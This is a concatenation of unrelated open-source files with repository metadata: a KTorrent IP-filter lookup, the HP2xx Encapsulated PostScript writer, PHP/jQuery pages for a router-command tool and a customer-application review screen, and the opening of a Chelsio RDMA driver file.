AntiP2P header was loaded." << endl; return false; } if (addr.protocol() == QAbstractSocket::IPv6Protocol) return false; quint32 ip = addr.toIPv4Address(); int in_header = searchHeader(ip, 0, blocks.count()); switch (in_header) { case -1: return false; //ip is not blocked case -2: return true; //ip is blocked (we're really lucky to find it in header already) default: //search mmapped file HeaderBlock to_be_searched = blocks[in_header]; Uint8* fptr = (Uint8*) file->getDataPointer(); fptr += to_be_searched.offset; IPBlock* file_blocks = (IPBlock*) fptr; return searchFile(file_blocks, ip, 0, to_be_searched.nrEntries); break; } return false; } void AntiP2P::load() { file = new MMapFile(); if (! file->open(KGlobal::dirs()->saveLocation("data", "ktorrent") + "level1.dat", QIODevice::ReadOnly)) { Out(SYS_IPF | LOG_NOTICE) << "Anti-p2p file not loaded." << endl; file = 0; return; } Out(SYS_IPF | LOG_ALL) << "Loading Anti-P2P filter..." << endl; } void AntiP2P::loadHeader() { if (!file) return; Uint32 nrElements = file->getSize() / sizeof(IPBlock); uint blocksize = nrElements < 100 ? 10 : 100; // number of entries that each HeaderBlock holds. If total number is < 100, than this value is 10. HeaderBlock hb; for (Uint64 i = 0; i < file->getSize() ; i += sizeof(IPBlock) * (blocksize)) { IPBlock ipb; hb.offset = i; file->seek(MMapFile::BEGIN, i); file->read(&ipb, sizeof(IPBlock)); hb.ip1 = ipb.ip1; if (i + (blocksize - 1)*sizeof(IPBlock) > file->getSize()) //last entry { file->seek(MMapFile::BEGIN, file->getSize() - sizeof(IPBlock)); file->read(&ipb, sizeof(IPBlock)); hb.ip2 = ipb.ip2; hb.nrEntries = nrElements % blocksize; blocks.push_back(hb); break; } file->seek(MMapFile::BEGIN, i + (blocksize - 1)*sizeof(IPBlock)); file->read(&ipb, sizeof(IPBlock)); hb.ip2 = ipb.ip2; hb.nrEntries = blocksize; blocks.push_back(hb); } Out(SYS_IPF | LOG_NOTICE) << "AntiP2P header loaded." << endl; header_loaded = true; } bool AntiP2P::exists() { return file != 0; } int AntiP2P::searchHeader(Uint32& ip, int start, int end) const { if (end == 0) return -1; //empty list if (end == 1) { if (blocks[start].ip1 <= ip && blocks[start].ip2 >= ip) //then our IP is somewhere in between { if (blocks[start].ip1 == ip || blocks[start].ip2 == ip) return -2; //Return -2 to signal that this IP matches either IP from header. No need to search mmaped file in that case. else return start; //else return block index } else return -1; //not found } else { int i = start + end / 2; if (blocks[i].ip1 <= ip) return searchHeader(ip, i, end - end / 2); else return searchHeader(ip, start, end / 2); } } bool AntiP2P::searchFile(IPBlock* file_blocks, Uint32& ip, int start, int end) const { if (end == 0) return false; //empty list, so not found if (end == 1) { if (file_blocks[start].ip1 <= ip && file_blocks[start].ip2 >= ip) //we have a match! return true; else return false; //IP is not found. } else { int i = start + end / 2; if (file_blocks[i].ip1 <= ip) return searchFile(file_blocks, ip, i, end - end / 2); else return searchFile(file_blocks, ip, start, end / 2); } } }
zidel/ktorrent
plugins/ipfilter/antip2p.cpp
C++
gpl-2.0
7,145
/* Copyright (c) 1991 - 1994 Heinz W. Werntges. All rights reserved. Parts Copyright (c) 1999 Martin Kroeker All rights reserved. Distributed by Free Software Foundation, Inc. This file is part of HP2xx. HP2xx is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. No author or distributor accepts responsibility to anyone for the consequences of using it or for whether it serves any particular purpose or works at all, unless he says so in writing. Refer to the GNU General Public License, Version 2 or later, for full details. Everyone is granted permission to copy, modify and redistribute HP2xx, but only under the conditions described in the GNU General Public License. A copy of this license is supposed to have been given to you along with HP2xx so you can know your rights and responsibilities. It should be in a file named COPYING. Among other things, the copyright notice and this notice must be preserved on all copies. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ /** to_eps.c: Converter to Encapsulated PostScript format; ** (derived from PLPLOT driver "postscript.c") ** ** 91/06/29 V 1.00 HWW Derived from postscript.c ** 91/10/15 V 1.01 HWW ANSI_C ** 91/11/20 V 1.02 HWW Changes due to "SPn;" ** 91/12/22 V 1.02a HWW Many small changes ** 92/05/17 V 1.02b HWW Output to stdout if outfile == '-' ** 92/05/24 V 1.10a HWW Color supported (RGB) ** 92/10/20 V 1.10b HWW Bug fix: Setting color implies a new path ** 92/12/12 V 1.10c HWW Info line now interprets outfile=='-' as "stdout" ** 93/04/12 V 1.10d HWW Explicit prototypes for time() and ctime() removed; ** VMstatus reports only if !p->quiet; ** BoundingBox calc.: roundinf included (floor, ceil) ** 93/04/25 V 1.10e HWW BoundingBox corrected for (half) max. pen width ** 93/11/15 V 1.11a HWW EPS syntax corrections (courtesy N. H. F. Beebe) ** 94/02/15 V 1.20a HWW Adapted to changes in hp2xx.h ** 01/12/04 MK Added missing colon to BeginProcSet (Bengt-Arne Fjellner) **/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <math.h> #include "bresnham.h" #include "hp2xx.h" #include "pendef.h" #include "lindef.h" /*#define A4_height 297*//* in [mm] */ static int linecount = 0; static float xcoord2mm, ycoord2mm; static float xmin, ymin; /* globals for states since we have to init them for each file now */ static PEN_W lastwidth; static int lastcap; static int lastjoin; static int lastlimit; static Byte lastred, lastgreen, lastblue; void eps_set_linewidth(PEN_W, HPGL_Pt *, FILE *); void eps_set_linecap(LineEnds type, PEN_W pensize, HPGL_Pt * ppt, FILE * fd); void eps_set_linejoin(LineJoins type, LineLimit limit, PEN_W pensize, HPGL_Pt * ppt, FILE * fd); void eps_set_color(PEN_C pencolor, HPGL_Pt * ppt, FILE * fd); void eps_init(const GEN_PAR *, const OUT_PAR *, FILE *, PEN_W); void eps_end(FILE *); void eps_stroke_and_move_to(HPGL_Pt *, FILE *); void eps_line_to(HPGL_Pt *, char, FILE *); void eps_draw_dot(double radius, FILE * fd); char *eps_Getdate(void); /** ** Close graphics file **/ void eps_end(FILE * fd) { fprintf(fd, " S\neop\n"); fprintf(fd, "@end\n"); fprintf(fd, "%%%%PageTrailer\n"); fprintf(fd, "%%%%Trailer\n"); fprintf(fd, "%%%%EOF\n"); linecount = 0; } /** ** Flush old path and move **/ void eps_stroke_and_move_to(HPGL_Pt * ppt, FILE * fd) { fprintf(fd, " S\n%6.2f %6.2f M", /* S: Start a new path */ (ppt->x - xmin) * xcoord2mm, (ppt->y - ymin) * ycoord2mm); linecount = 0; } /** ** Set line width **/ void eps_set_linewidth(PEN_W width, HPGL_Pt * ppt, FILE * fd) { if ((fabs(width - lastwidth) >= 0.01) && (width >= 0.05)) { eps_stroke_and_move_to(ppt, fd); /* MUST start a new path! */ fprintf(fd, " %6.3f W\n", width); lastwidth = width; } return; } /** ** Set line ends **/ void eps_set_linecap(LineEnds type, PEN_W pensize, HPGL_Pt * ppt, FILE * fd) { int newcap; if (pensize > 0.35) { switch (type) { case LAE_butt: newcap = 0; break; case LAE_triangular: /* triangular not implemented in PS/PDF */ newcap = 1; break; case LAE_round: newcap = 1; break; case LAE_square: newcap = 2; break; default: newcap = 0; break; } } else { newcap = 1; } if (newcap != lastcap) { eps_stroke_and_move_to(ppt, fd); /* MUST start a new path! */ fprintf(fd, " %d setlinecap\n", newcap); lastcap = newcap; } return; } /** ** Set line Joins **/ void eps_set_linejoin(LineJoins type, LineLimit limit, PEN_W pensize, HPGL_Pt * ppt, FILE * fd) { int newjoin; int newlimit = lastlimit; if (pensize > 0.35) { switch (type) { case LAJ_plain_miter: newjoin = 0; newlimit = 5; /* arbitrary value */ break; case LAJ_bevel_miter: /* not available */ newjoin = 0; newlimit = limit; break; case LAJ_triangular: /* not available */ newjoin = 1; break; case LAJ_round: newjoin = 1; break; case LAJ_bevelled: newjoin = 2; break; case LAJ_nojoin: /* not available */ newjoin = 1; break; default: newjoin = 0; newlimit = 5; /* arbitrary value */ break; } } else { newjoin = 1; } if (newjoin != lastjoin) { eps_stroke_and_move_to(ppt, fd); /* MUST start a new path! */ fprintf(fd, " %d setlinejoin\n", newjoin); lastjoin = newjoin; } if (newlimit != lastlimit) { eps_stroke_and_move_to(ppt, fd); /* MUST start a new path! */ fprintf(fd, " %d setmiterlimit\n", newlimit); lastlimit = newlimit; } } /** ** Set RGB color **/ void eps_set_color(PEN_C pencolor, HPGL_Pt * ppt, FILE * fd) { if ((pt.clut[pencolor][0] != lastred) || (pt.clut[pencolor][1] != lastgreen) || (pt.clut[pencolor][2] != lastblue)) { eps_stroke_and_move_to(ppt, fd); /* MUST start a new path! */ fprintf(fd, " %6.3f %6.3f %6.3f C\n", (double) pt.clut[pencolor][0] / 255.0, (double) pt.clut[pencolor][1] / 255.0, (double) pt.clut[pencolor][2] / 255.0); lastred = pt.clut[pencolor][0]; lastgreen = pt.clut[pencolor][1]; lastblue = pt.clut[pencolor][2]; } else { return; } } void eps_line_to(HPGL_Pt * ppt, char mode, FILE * fd) { if (linecount > 3) { putc('\n', fd); linecount = 0; } else putc(' ', fd); fprintf(fd, "%6.2f %6.2f %c", (ppt->x - xmin) * xcoord2mm, (ppt->y - ymin) * ycoord2mm, mode); linecount++; } void eps_draw_dot(double radius, FILE * fd) { fprintf(fd, " currentpoint newpath %0.2f 0 360 arc fill\n", radius); } /** ** Get the date and time: This is optional, since its result only ** appeares in the PS header. **/ char *eps_Getdate(void) { int len; time_t t; char *p; t = time((time_t *) 0); p = ctime(&t); len = (int) strlen(p); /*@-modobserver@ */ *(p + len - 1) = '\0'; /* zap the newline character */ return p; } /** ** PostScript definitions **/ void eps_init(const GEN_PAR * pg, const OUT_PAR * po, FILE * fd, PEN_W pensize) { long left, right, low, high; double hmxpenw; lastwidth = -1.0; lastcap = lastjoin = lastlimit = -1; lastred = lastgreen = lastblue = -1; hmxpenw = pg->maxpensize / 2.0; /* Half max. pen width, in mm */ /** ** Header comments into PostScript file **/ if (po->specials) fprintf(fd, "%%!PS-Adobe-2.0\n"); else fprintf(fd, "%%!PS-Adobe-2.0 EPSF-2.0\n"); fprintf(fd, "%%%%Title: %s\n", po->outfile); fprintf(fd, "%%%%Creator: hp2xx %s (c) 1991-1994 by H. Werntges, 1999-2003 by M. Kroeker\n",VERS_NO); fprintf(fd, "%%%%CreationDate: %s\n", eps_Getdate()); fprintf(fd, "%%%%Pages: 1\n"); /** ** Bounding Box limits: Conversion factor: 2.834646 * 1/72" = 1 mm ** ** (hmxpenw & floor/ceil corrections suggested by Eric Norum) **/ left = (long) floor(fabs(po->xoff - hmxpenw) * MM_TO_PS_POINT); low = (long) floor(fabs(po->yoff - hmxpenw) * MM_TO_PS_POINT); right = (long) ceil((po->xoff + po->width + hmxpenw) * MM_TO_PS_POINT); high = (long) ceil((po->yoff + po->height + hmxpenw) * MM_TO_PS_POINT); fprintf(fd, "%%%%BoundingBox: %ld %ld %ld %ld\n", left, low, right, high); if (!pg->quiet) Eprintf("Bounding Box: [%ld %ld %ld %ld]\n", left, low, right, high); fprintf(fd, "%%%%EndComments\n\n"); if (po->specials == 1) { /* include pagesize directives - disallowed in EPS*/ fprintf(fd, "%%%%BeginFeature: PageSize %fx%fmm\n",po->width,po->height); fprintf(fd, "<< /PageSize [\n"); fprintf(fd, " %f 2.835 mul %f 2.835 mul\n",po->width,po->height); fprintf(fd, " ] >> setpagedevice\n"); fprintf(fd, "%%EndFeature\n"); } /** ** Definitions **/ fprintf(fd, "%%%%BeginProcSet:\n"); fprintf(fd, "/PSSave save def\n"); /* save VM state */ fprintf(fd, "/PSDict 200 dict def\n"); /* define a dictionary */ fprintf(fd, "PSDict begin\n"); /* start using it */ fprintf(fd, "/@restore /restore load def\n"); fprintf(fd, "/restore\n"); fprintf(fd, " {vmstatus pop\n"); fprintf(fd, " dup @VMused lt {pop @VMused} if\n"); fprintf(fd, " exch pop exch @restore /@VMused exch def\n"); fprintf(fd, " } def\n"); fprintf(fd, "/@pri\n"); fprintf(fd, " {\n"); fprintf(fd, " ( ) print\n"); fprintf(fd, " ( ) cvs print\n"); fprintf(fd, " } def\n"); fprintf(fd, "/@start\n"); /* - @start - -- start everything */ fprintf(fd, " {\n"); fprintf(fd, " vmstatus pop /@VMused exch def pop\n"); fprintf(fd, " } def\n"); fprintf(fd, "/@end\n"); /* - @end - -- finished */ fprintf(fd, " {"); if (!pg->quiet) { fprintf(fd, "(VM Used: ) print @VMused @pri\n"); fprintf(fd, " (. Unused: ) print vmstatus @VMused sub @pri pop pop\n"); fprintf(fd, " (\\n) print flush\n"); } fprintf(fd, " end\n"); fprintf(fd, " PSSave restore\n"); fprintf(fd, " } def\n"); fprintf(fd, "/bop\n"); /* bop - -- begin a new page */ fprintf(fd, " {\n"); fprintf(fd, " /SaveImage save def\n"); fprintf(fd, " } def\n"); fprintf(fd, "/eop\n"); /* - eop - -- end a page */ fprintf(fd, " {\n"); fprintf(fd, " showpage\n"); fprintf(fd, " SaveImage restore\n"); fprintf(fd, " } def\n"); fprintf(fd, "/@line\n"); /* set line parameters */ fprintf(fd, " {\n"); fprintf(fd, "%%%% 1 setlinejoin %%%% now set from LA command\n"); fprintf(fd, "%%%% 1 setmiterlimit %%%% now set from LA command\n"); fprintf(fd, " } def\n"); fprintf(fd, "/@SetPlot\n"); fprintf(fd, " {\n"); fprintf(fd, " %f %f scale\n", MM_TO_PS_POINT, MM_TO_PS_POINT); /* 1/72"--> mm */ fprintf(fd, " %7.3f %7.3f translate\n", po->xoff + hmxpenw, po->yoff + hmxpenw); fprintf(fd, " %6.3f setlinewidth\n", pensize); fprintf(fd, " } def\n"); fprintf(fd, "/C {setrgbcolor} def\n"); fprintf(fd, "/D {lineto} def\n"); fprintf(fd, "/M {moveto} def\n"); fprintf(fd, "/S {stroke} def\n"); fprintf(fd, "/W {setlinewidth} def\n"); fprintf(fd, "/Z {stroke newpath} def\n"); fprintf(fd, "end\n"); /* end of dictionary definition */ fprintf(fd, "%%%%EndProcSet\n\n"); /** ** Set up the plots **/ fprintf(fd, "%%%%BeginSetup\n"); fprintf(fd, "/#copies 1 def\n"); fprintf(fd, "%%%%EndSetup\n"); fprintf(fd, "%%%%Page: 1 1\n"); fprintf(fd, "%%%%BeginPageSetup\n"); fprintf(fd, "PSDict begin\n"); fprintf(fd, "@start\n"); fprintf(fd, "@line\n"); fprintf(fd, "@SetPlot\n\n"); fprintf(fd, "bop\n"); fprintf(fd, "%%%%EndPageSetup\n"); } /** ** Higher-level interface: Output Encapsulated PostScript format **/ int to_eps(const GEN_PAR * pg, const OUT_PAR * po) { PlotCmd cmd; HPGL_Pt pt1 = { 0, 0 }; FILE *md; int pen_no = 0, err; PEN_W pensize; err = 0; if (!pg->quiet) Eprintf("\n\n- Writing EPS code to \"%s\"\n", *po->outfile == '-' ? "stdout" : po->outfile); /* Init. of PostScript file: */ if (*po->outfile != '-') { if ((md = fopen(po->outfile, "w")) == NULL) { PError("hp2xx (eps)"); return ERROR; } } else md = stdout; /* PS header */ pensize = pt.width[DEFAULT_PEN_NO]; /* Default pen */ eps_init(pg, po, md, pensize); if (pensize > 0.05) fprintf(md, " %6.3f W\n", pensize); /* Factor for transformation of HP coordinates to mm */ xcoord2mm = po->width / (po->xmax - po->xmin); ycoord2mm = po->height / (po->ymax - po->ymin); xmin = po->xmin; ymin = po->ymin; /** ** Command loop: While temporary file not empty: process command. **/ while ((cmd = PlotCmd_from_tmpfile()) != CMD_EOF) { switch (cmd) { case NOP: break; case SET_PEN: if ((pen_no = fgetc(pg->td)) == EOF) { PError("Unexpected end of temp. file: "); err = ERROR; goto EPS_exit; } pensize = pt.width[pen_no]; break; case DEF_PW: if (!load_pen_width_table(pg->td,0)) { PError("Unexpected end of temp. file"); err = ERROR; goto EPS_exit; } pensize = pt.width[pen_no]; break; case DEF_PC: err = load_pen_color_table(pg->td,0); if (err < 0) { PError("Unexpected end of temp. file"); err = ERROR; goto EPS_exit; } break; case DEF_LA: if (load_line_attr(pg->td,0) < 0) { PError("Unexpected end of temp. file"); err = ERROR; goto EPS_exit; } break; case MOVE_TO: eps_set_linewidth(pensize, &pt1, md); eps_set_linecap(CurrentLineAttr.End, pensize, &pt1, md); eps_set_linejoin(CurrentLineAttr.Join, CurrentLineAttr.Limit, pensize, &pt1, md); eps_set_color(pt.color[pen_no], &pt1, md); HPGL_Pt_from_tmpfile(&pt1); if (pensize > 0.05) eps_stroke_and_move_to(&pt1, md); break; case DRAW_TO: eps_set_linewidth(pensize, &pt1, md); eps_set_linecap(CurrentLineAttr.End, pensize, &pt1, md); eps_set_linejoin(CurrentLineAttr.Join, CurrentLineAttr.Limit, pensize, &pt1, md); eps_set_color(pt.color[pen_no], &pt1, md); HPGL_Pt_from_tmpfile(&pt1); if (pensize > 0.05) eps_line_to(&pt1, 'D', md); break; case PLOT_AT: eps_set_linewidth(pensize, &pt1, md); eps_set_linecap(CurrentLineAttr.End, pensize, &pt1, md); eps_set_linejoin(CurrentLineAttr.Join, CurrentLineAttr.Limit, pensize, &pt1, md); eps_set_color(pt.color[pen_no], &pt1, md); HPGL_Pt_from_tmpfile(&pt1); if (pensize > 0.05) { eps_line_to(&pt1, 'M', md); eps_line_to(&pt1, 'D', md); /* not sure whether this is needed */ eps_draw_dot(pensize / 2, md); } break; default: Eprintf("Illegal cmd in temp. file!"); err = ERROR; goto EPS_exit; } } /* Finish up */ eps_end(md); EPS_exit: if (md != stdout) fclose(md); if (!pg->quiet) Eprintf("\n"); return err; }
dgtlrift/hp2xx
src/to_eps.c
C
gpl-2.0
14,609
<?php include($_SERVER['DOCUMENT_ROOT'] . '/footreq.php'); ?> <script src="/js/select2.min.js" type="text/javascript"></script> <script type="text/javascript"> $(".inputCMD").select2({ placeholder: "Select a command", allowClear: true, theme: "classic" }); </script> <script type="text/javascript"> $(document).ready(function () { $('#inputCMD').on('change', function (event, params) { /* Set the heading to show which rb has been selected */ var selt = $(this).val(); res = selt.slice(5); switch (Number(selt.slice(5))) { case 1: //console.log("res"); document.getElementById('iphost').style.display = 'none'; document.getElementById('usedns').style.display = 'none'; break; case 2: //console.log("reboot"); document.getElementById('iphost').style.display = 'none'; document.getElementById('usedns').style.display = 'none'; break; case 3: //console.log("ping"); document.getElementById('iphost').style.display = 'block'; document.getElementById('usedns').style.display = 'none'; break; case 4: //console.log("traceroute"); document.getElementById('iphost').style.display = 'block'; document.getElementById('usedns').style.display = 'block'; break; case 5: //console.log("logging"); document.getElementById('iphost').style.display = 'none'; document.getElementById('usedns').style.display = 'none'; break; default: console.log("No valid selection made"); } }); $("button").click(function () { //console.log(this.id); // or alert($(this).attr('id')); /* Get teh ID of teh button pressed */ var str = this.id; /*console.log($('#inputHost').val()); console.log($('#inputUser').val()); console.log($('#inputPassword').val());*/ $.ajaxSetup({ error: function (x, e) { if (x.status == 0) { alert('You are offline!!\n Please Check Your Network.'); } else if (x.status == 404) { alert('Requested URL not found.'); } else if (x.status == 500) { alert('Internel Server Error.'); } else if (e == 'parsererror') { alert('Error.\nParsing JSON Request failed.'); } else if (e == 'timeout') { alert('Request Time out.'); } else { alert('Unknow Error.\n' + x.responseText); } } }); /* qwerty */ $.ajax({ type: "POST", url: "/content/wugms.mikrotik.user.cmd.php", data: {rb_host: $('#inputHost').val(), rb_user: $('#inputUser').val(), rb_password: $('#inputPassword').val(), rb_cmd: $('#inputCMD').val(), rb_remadd: $('#inputRemAddress').val(), rb_ud: $('#inputUseDNS').prop('checked') }, success: function (data) { $('#results').html(data); }, error: function (a, b, c) { console.debug(a) $('#results').html('<div class="alert alert-danger" role="alert">.dfdfsdfsdsf..</div>'); console.log('no'); } }); }); }); </script> <!-- Custom ajax error --> <script type="text/javascript"> $(document).ajaxError(function (event, request, settings) { $("#results").append("<li>Error requesting page " + settings.url + "</li>"); }); </script> <!-- The Chosen selector for the --> <script type="text/javascript"> $(document).ready(function () { $('.chzn-select').each(function () { if ($(this).html().trim().length > 0) { pimpSelect($(this)); } }); }); function pimpSelect(select, options) { var prepend = ''; if (select.attr('data-placeholder')) { prepend = '<option></option>'; } if (options) { options = prepend + options; select.empty().html(options); } else { select.prepend(prepend); } if (select.hasClass('chzn-select')) { var _width = select.css('width'); select.chosen({ width: _width }); } } ; </script> <script type="text/javascript"> $(document).ready(function () { $('.chzn-select-rbcmd').each(function () { if ($(this).html().trim().length > 0) { pimpSelect($(this)); } }); }); function pimpSelect(select, options) { var prepend = ''; if (select.attr('data-placeholder')) { prepend = '<option></option>'; } if (options) { options = prepend + options; select.empty().html(options); } else { select.prepend(prepend); } if (select.hasClass('chzn-select-rbcmd')) { var _width = select.css('width'); select.chosen({ width: _width }); } } ; </script> </body> </html>
jawug/wugms
web/ms/admin/rbman/remcmd/footer.php
PHP
gpl-2.0
5,859
<?php include('includes/header.php');?> <div id="page-wrapper"> <div class="container-fluid"> <!-- Page Heading --> <div class="row"> <div class="col-lg-12"> <h1 class="page-header"> Requests <small>New requests List</small> </h1> </div> </div> <!-- /.row --> <div class="row"> <div class="col-lg-12"> <div class="table-responsive"> <ol class="breadcrumb"> <li class="active"> <i class="fa fa-bell"></i> </li> </ol> </div> <table id="service_table" class="table table-bordered table-hover table-striped"> <thead> <tr> <th>Created Date</th> <th>First Name</th> <th>Last Name</th> <th>Email</th> <th>EMT Amount</th> <th>EMT Status</th> <th>INFO Status</th> <th>CONTRACT Status</th> <th>Lead Status</th> <th></th> <th></th> </tr> </thead> <tbody id="tbody"> </tbody> </table> </div> </div> <!-- /.row --> <?php if($_SESSION['user']['level'] == 1){ include ('includes/info_form.php'); }else{ include ('includes/info_form_readonly.php'); } ?> </div> <!-- /.container-fluid --> </div> <!-- /#page-wrapper --> </div> <!-- /#wrapper --> </body> <?php include('includes/footer.php');?> <script> $(document).ready(function(){ /*** Returns static vars to only be used in table list ajax call !!!change var action according to page ***/ function tablerequest(){ this.request = "list"; this.action = 0; } //table request object var param= new tablerequest(); //GLOBAL var result; var table; var cust_id; var locked = 0; table=$('#service_table').DataTable({ "processing": true, "ajax": { "url": "../controller/page_request.php?request="+param.request+"&action="+param.action, }, columns: [ { data: 'createdOn' }, { data: 'firstname' }, { data: 'lastname' }, { data: 'email' }, { data: 'initloadamount' }, { data: 'emt' }, { data: 'personal' }, { data: 'contract' }, { data: 'leadstatus' }, { data: 'button1' } ] }); /*$('.form_date').datetimepicker({ language: 'en', weekStart: 1, todayBtn: 1, autoclose: 1, todayHighlight: 1, startView: 4, minView: 2, forceParse: 0 }); */ /*** Event triggers customer information display updates DB with locked flag ->limits view to current user ***/ $(".lock_item").live('click', function(event){ //get the ID cust_id=$(this).attr('id'); locked = 1; //make sure no white space is before or after id value $.trim(cust_id); var request="review"; //Status=NEW APP var action=0; $.ajax({ url:'../controller/page_request.php?request='+request+'&action='+action+'&cust_id='+cust_id, success:function(result){ var obj1 = $.parseJSON(result); //Load Dropdown Options var options = '<option title="" value="0">--EMT STATUS--</option>'; for (var i = 0; i < obj1.EAL.length; i++) { options += '<option value="' + obj1.EAL[i].ps_id + '">' + obj1.EAL[i].display + '</option>'; } $("#audit_emt").html(options); var options = '<option title="" value="0">--INFO STATUS--</option>'; for (var i = 0; i < obj1.IAL.length; i++) { options += '<option value="' + obj1.IAL[i].ps_id + '">' + obj1.IAL[i].display + '</option>'; } $("#audit_info").html(options); var options = '<option title="" value="0">--CONTRACT STATUS--</option>'; for (var i = 0; i < obj1.CAL.length; i++) { options += '<option value="' + obj1.CAL[i].ps_id + '">' + obj1.CAL[i].display + '</option>'; } $("#audit_contract").html(options); if(obj1.islocked == 0) { //Populate fields //CUSTOMER ID //banking $("#emt").val(obj1.initloadamount); $("#emt_pass").val(obj1.psw); //info $("#createdDate").html(obj1.createdOn); $("#tag").val(obj1.cust_id); $("#firstname").val(obj1.firstname); //$("#middleName").val(obj1.midname); $("#lastname").val(obj1.lastname); $("#hphone").val(obj1.homephone); $("#phone").val(obj1.cellphone); $("#email").val(obj1.email); $("#gender").val(obj1.sex); $("#DOB").val(obj1.dob); $("#SIN").val(obj1.sin); $("#secret").val(obj1.secret); $("#occupation").val(obj1.occupationID); $("#mmn").val(obj1.motherInfo); $("#agent").val(obj1.agent); $("#leadstatus").val(obj1.leadstatus); //address $("#lane").val(obj1.line1); $("#laneTwo").val(obj1.line2); $("#city").val(obj1.city); $("#province").val(obj1.StateProvName); $("#code").val(obj1.PostalCode); //ID //PID $("#pid_type").val(obj1.ptype); $("#pid_num").val(obj1.pnumber); $("#pid_place").val(obj1.pplace); $("#pid_expire").val(obj1.pexpire); //SID $("#sid_type").val(obj1.stype); $("#sid_num").val(obj1.snumber); $("#sid_place").val(obj1.splace); $("#sid_expire").val(obj1.sexpire); //status dropdowns //contract var filepath="http://canadacreditcard.ca/docs/pdfs/"; var ccpdfname=obj1.lastname+"_"+obj1.firstname; var ccagreementfile=filepath+ccpdfname+"/"+ccpdfname+"_CC_Agreement.pdf"; $("#ccagreement").html('<a href="'+ccagreementfile+'" target="_blank">CC Agreement</a>'); var ilockagreementfile=filepath+ccpdfname+"/"+ccpdfname+"_iLock_Agreement.pdf"; $("#ilockagreement").html('<a href="'+ilockagreementfile+'" target="_blank">Identity Lock Agreement</a>'); $("#audit_emt").val(obj1.emt_id); if(obj1.emt_id==12){$('#emt_checkbox').bootstrapToggle('on')}else{$('#emt_checkbox').bootstrapToggle('off')} $("#audit_info").val(obj1.info_id); if(obj1.info_id==6){$('#info_checkbox').bootstrapToggle('on')}else{$('#info_checkbox').bootstrapToggle('off')} $("#audit_contract").val(obj1.contract_id); if(obj1.contract_id==18){$('#contract_checkbox').bootstrapToggle('on')}else{$('#contract_checkbox').bootstrapToggle('off')} $("#comments_area").html(obj1.COMMENT); //status checkbox this.prop('checked') table.ajax.reload(); } else { alert("sorry this record is locked"); $( ".lockedbtn" ).trigger( "click" ); table.ajax.reload(); // } } }); event.preventDefault(); }); $('#audit_emt').change(function(){ if($('#audit_emt').val() == 12) { $('#emt_checkbox').bootstrapToggle('on') } else { $('#emt_checkbox').bootstrapToggle('off') } }); $('#audit_info').change(function(){ if($('#audit_info').val() == 6) { $('#info_checkbox').bootstrapToggle('on') } else { $('#info_checkbox').bootstrapToggle('off') } }); $('#audit_contract').change(function(){ if($('#audit_contract').val() == 18) { $('#contract_checkbox').bootstrapToggle('on') } else { $('#contract_checkbox').bootstrapToggle('off') } }); $(".lockedbtn").live('click', function(event){ //Status=NEW APP must be used but has no effect here var action=0; var request="list"; $.ajax({ url:'../controller/page_request.php?request='+request+'&action='+action+'&cust_id='+cust_id, success:function(result){table.ajax.reload();} }); }); $('.submit_info').live('click', function(event){ notie.confirm('Confirm?', 'Yes', 'Cancel', function() { notie.alert(1, 'Done!', 2); var action=0; var request="edit"; console.log($('#info_form').serialize()); $.ajax({ url:'../controller/page_request.php?request='+request+'&action='+action, data:$('#info_form').serialize(), success:function(result){ // $("#comments_area").html(result); table.ajax.reload(); } }); }); event.preventDefault(); }); $(".exit").live('click', function(event){ //Status=NEW APP must be used but has no effect here var action=0; var request="unlock_app"; $.ajax({ url:'../controller/page_request.php?request='+request+'&action='+action+'&cust_id='+cust_id, success:function(result){table.ajax.reload();} }); }); $("#add_comment").live('click', function(event){ //Status=NEW APP must be used but has no effect here var action=0; var request="add_comment"; $.ajax({ url:'../controller/page_request.php?request='+request+'&action='+action+'&cust_id='+cust_id+'&info_comment='+$('#info_comment').val(), success:function(result){ $("#comments_area").html(result); table.ajax.reload(); } }); }); $(window).bind('beforeunload',function(locked){ //do something if(locked ) { $( ".exit" ).trigger( "click" ); return 'Confirm'; } }); }); $("#leadText").html(''); if( $( '#leadstatus' ).length > 0 ) { $('#leadstatus').change(function() { cust_id=$("#tag").val(); $.ajax({ url:'../controller/update_leadstatus.php?leadstatus='+$(this).val()+'&custID='+cust_id, success:function(result){ var text='<span style="color:red;">Lead Status Changed to '+ result +' Successfully !!!</span>'; $("#leadText").html(text); } }); }); } </script> </html>
Kayoti/jquery-dbprocess-interface
view/request.php
PHP
gpl-2.0
9,503
/* * Copyright (c) 2009-2010 Chelsio, Inc. All rights reserved. * * This software is available to you under a choice of one of two * licenses. You may choose to be licensed under the terms of the GNU * General Public License (GPL) Version 2, available from the file * COPYING in the main directory of this source tree, or the * OpenIB.org BSD license below: * * Redistribution and use in source and binary forms, with or * without modification, are permitted provided that the following * conditions are met: * * - Redistributions of source code must retain the above * copyright notice, this list of conditions and the following * disclaimer. * * - Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials * provided with the distribution. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include "iw_cxgb4.h" static int destroy_cq(struct c4iw_rdev *rdev, struct t4_cq *cq, struct c4iw_dev_ucontext *uctx) { struct fw_ri_res_wr *res_wr; struct fw_ri_res *res; int wr_len; struct c4iw_wr_wait wr_wait; struct sk_buff *skb; int ret; wr_len = sizeof *res_wr + sizeof *res; skb = alloc_skb(wr_len, GFP_KERNEL); if (!skb) return -ENOMEM; set_wr_txq(skb, CPL_PRIORITY_CONTROL, 0); res_wr = (struct fw_ri_res_wr *)__skb_put(skb, wr_len); memset(res_wr, 0, wr_len); res_wr->op_nres = cpu_to_be32( FW_WR_OP(FW_RI_RES_WR) | V_FW_RI_RES_WR_NRES(1) | FW_WR_COMPL(1)); res_wr->len16_pkd = cpu_to_be32(DIV_ROUND_UP(wr_len, 16)); res_wr->cookie = (unsigned long) &wr_wait; res = res_wr->res; 